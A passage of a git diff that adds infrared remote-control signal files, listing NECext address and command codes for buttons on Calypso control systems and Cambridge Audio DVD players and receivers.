+address: 01 00 00 00 +command: 04 00 00 00 +# +name: CT_070 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: CT_071 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: CT_072 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: CT_073 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: CT_064 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: CT_074 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CT_055 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: CT_053 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CT_054 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CT_049 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: CT_050 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: CT_051 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: CT_048 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: CT_079 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: CT_075 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: CT_080 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: CT_076 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: CT_093 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: CT_060 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: CT_059 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: CT_057 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: CT_052 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: CT_082 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: CT_083 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: CT_085 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: CT_094 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: CT_095 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: CT_096 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: CT_086 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: CT_087 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: CT_091 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5A 00 00 00 +# +name: CT_089 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 +# +name: CT_088 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5C 00 00 00 +# +name: CT_092 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5E 00 00 00 +# +name: CT_090 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 +# +name: CT_056 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: CT_058 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 63 00 00 00 +# +name: CT_063 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: CT_084 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6B 00 00 00 +# +name: CT_061 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: CT_062 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 +# +name: CT_077 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 78 00 00 00 +# +name: CT_078 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir new file mode 100644 index 000000000..3568f9f45 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: CT_018 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: CT_019 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: CT_020 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: CT_021 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: CT_022 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: CT_023 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: CT_024 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: CT_025 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: CT_026 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: CT_029 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: CT_011 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: CT_002 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: CT_003 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: CT_001 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 15 00 00 00 +# +name: CT_004 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: CT_033 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: CT_010 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: CT_017 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: CT_027 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: CT_038 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: CT_028 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: CT_037 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: CT_032 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: CT_005 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: CT_008 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: CT_009 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: CT_034 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: CT_081 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: CT_006 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: CT_007 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: CT_042 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: CT_041 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: CT_040 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: CT_043 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: CT_044 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: CT_045 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: CT_046 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: CT_047 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: CT_035 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: CT_031 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4B 00 00 00 +# +name: CT_030 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: CT_039 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 +# +name: CT_036 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6F 00 00 00 +# +name: CT_014 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 79 00 00 00 +# +name: CT_015 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7A 00 00 00 +# +name: CT_012 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7B 00 00 00 +# +name: CT_013 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7C 00 00 00 +# +name: CT_016 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir new file mode 100644 index 000000000..bdb442095 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: CT_106 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: CT_107 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: CT_108 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: CT_109 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: CT_110 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: CT_111 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: CT_112 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: CT_113 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: CT_114 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: CT_105 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: CT_115 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: CT_100 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: CT_101 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: CT_099 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: CT_116 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: CT_124 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: CT_097 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: CT_098 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: CT_121 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: CT_125 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: CT_120 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: CT_126 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 46 00 00 00 +# +name: CT_102 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4D 00 00 00 +# +name: CT_117 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4F 00 00 00 +# +name: CT_122 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 50 00 00 00 +# +name: CT_123 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: CT_103 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5A 00 00 00 +# +name: CT_104 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 63 00 00 00 +# +name: CT_118 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 64 00 00 00 +# +name: CT_119 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 65 00 00 00 +# +name: CT_127 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir new file mode 100644 index 000000000..7f03ddef2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: DISC_TITLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0A 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 14 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 15 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 16 00 00 00 +# +name: SKIP_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 17 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 18 00 00 00 +# +name: SKIP_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 19 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1B 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1C 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1D 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1F 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: PAL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2B 00 00 00 +# +name: NTSC +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2C 00 00 00 +# +name: INTERLACED_SCAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2D 00 00 00 +# +name: PROGRESSIVE_SCAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2F 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir new file mode 100644 index 000000000..504c8d59b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: I-SCAN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: PSM +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: PAL/NTSC +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 43 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 48 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 49 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 50 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 51 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 52 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 53 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 54 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 55 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 56 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 59 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5E 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5F 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: B9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir new file mode 100644 index 000000000..2425226cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir @@ -0,0 +1,416 @@ +Filetype: IR signals file +Version: 1 +# +name: DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: REC_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: REC_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 40 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: REC_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 44 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 45 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: REC_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 47 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4A 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4D 00 00 00 +# +name: ANALOG_STEREO_DIR. +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4E 00 00 00 +# +name: DIGITAL_STEREO_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4F 00 00 00 +# +name: DD/DTS_MODES +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: PLIIX/NEO/DSP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: DYNAMIC_RANGE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: SUB_ON/OFF_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: TUNER_PTY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 54 00 00 00 +# +name: TUNER_APS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: TUNER_STEREO/MONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: TUNER_STORE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 58 00 00 00 +# +name: TUNER_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5B 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5C 00 00 00 +# +name: OSD_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5D 00 00 00 +# +name: BASS/TREBLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5E 00 00 00 +# +name: 7.1_DIRECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5F 00 00 00 +# +name: CYCLE_AUDIO_INPUT_MO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 60 00 00 00 +# +name: CYCLE_VIDEO_INPUT_MO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 61 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 62 00 00 00 +# +name: CYCLE_SOURCE_SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 63 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 64 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 65 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 66 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 67 00 00 00 +# +name: STEREO_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 68 00 00 00 +# +name: STEREO_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: SUB_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: SUB_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6C 00 00 00 +# +name: AM_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6D 00 00 00 +# +name: ANALOG_AUDIO_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6E 00 00 00 +# +name: DIGITAL_AUDIO_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6F 00 00 00 +# +name: COMPOSITE_VID_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 70 00 00 00 +# +name: S-VIDEO_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 71 00 00 00 +# +name: SUB_LEVEL_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 73 00 00 00 +# +name: SUB_LEVEL_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 74 00 00 00 +# +name: TUNER_PRESET_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 75 00 00 00 +# +name: TUNER_PRESET_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 76 00 00 00 +# +name: TUNER_PRESET_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 77 00 00 00 +# +name: TUNER_PRESET_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 78 00 00 00 +# +name: TUNER_PRESET_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 79 00 00 00 +# +name: TUNER_PRESET_6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7A 00 00 00 +# +name: TUNER_PRESET_7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: TUNER_PRESET_8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: TUNER_PRESET_9 